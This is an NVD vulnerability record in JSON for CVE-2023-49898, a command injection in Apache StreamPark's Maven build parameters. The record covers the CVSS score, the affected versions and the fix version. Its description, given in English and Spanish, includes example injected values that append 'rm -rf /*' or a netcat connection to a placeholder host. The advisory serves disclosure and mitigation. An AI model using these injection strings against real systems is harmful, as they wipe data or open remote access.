{"resultsPerPage":1,"startIndex":0,"totalResults":1,"format":"NVD_CVE","version":"2.0","timestamp":"2026-05-20T14:47:43.889","vulnerabilities":[{"cve":{"id":"CVE-2023-49898","sourceIdentifier":"security@apache.org","published":"2023-12-15T13:15:07.330","lastModified":"2024-11-21T08:33:59.070","vulnStatus":"Modified","cveTags":[],"descriptions":[{"lang":"en","value":"In streampark, there is a project module that integrates Maven's compilation capability. However, there is no check on the compilation parameters of Maven. allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low.\n\nMitigation:\n\nall users should upgrade to 2.1.2\n\nExample:\n\n##You can customize the splicing method according to the compilation situation of the project, mvn compilation results use &&, compilation failure use \"||\" or \"&&\":\n\n/usr/share/java/maven-3/conf/settings.xml || rm -rf /*\n\n/usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &\n\n"},{"lang":"es","value":"En Streampark, hay un módulo de proyecto que integra las capacidades de compilación de Maven. Sin embargo, no hay verificación de los parámetros de compilación de Maven. Permitir a los atacantes insertar comandos para la ejecución remota de comandos. El requisito previo para un ataque exitoso es que el usuario debe iniciar sesión en el sistema Streampark y tener permisos a nivel del sistema. Generalmente, sólo los usuarios de ese sistema tienen autorización para iniciar sesión y los usuarios no ingresarían manualmente un comando de operación peligroso. Por tanto, el nivel de riesgo de esta vulnerabilidad es muy bajo. Mitigación: todos los usuarios deben actualizar a 2.1.2 Ejemplo: ## Puede personalizar el método de empalme según la situación de compilación del proyecto, los resultados de compilación de mvn usan &&, los errores de compilación usan \"||\" or \"&&\": /usr/share/java/maven-3/conf/settings.xml || rm -rf /* /usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 & "}],"metrics":{"cvssMetricV31":[{"source":"nvd@nist.gov","type":"Primary","cvssData":{"version":"3.1","vectorString":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","baseScore":7.2,"baseSeverity":"HIGH","attackVector":"NETWORK","attackComplexity":"LOW","privilegesRequired":"HIGH","userInteraction":"NONE","scope":"UNCHANGED","confidentialityImpact":"HIGH","integrityImpact":"HIGH","availabilityImpact":"HIGH"},"exploitabilityScore":1.2,"impactScore":5.9}]},"weaknesses":[{"source":"security@apache.org","type":"Secondary","description":[{"lang":"en","value":"CWE-77"}]}],"configurations":[{"nodes":[{"operator":"OR","negate":false,"cpeMatch":[{"vulnerable":true,"criteria":"cpe:2.3:a:apache:streampark:*:*:*:*:*:*:*:*","versionStartIncluding":"2.0.0","versionEndExcluding":"2.1.2","matchCriteriaId":"A5A4CCCF-F382-4FF8-AB13-9BE1B2B9757B"}]}]}],"references":[{"url":"https://lists.apache.org/thread/qj99c03r4td35f8gbxq084b8qmv2fyr3","source":"security@apache.org","tags":["Mailing List"]},{"url":"https://lists.apache.org/thread/qj99c03r4td35f8gbxq084b8qmv2fyr3","source":"af854a3a-2127-422b-91ae-364da2661108","tags":["Mailing List"]}]}}]}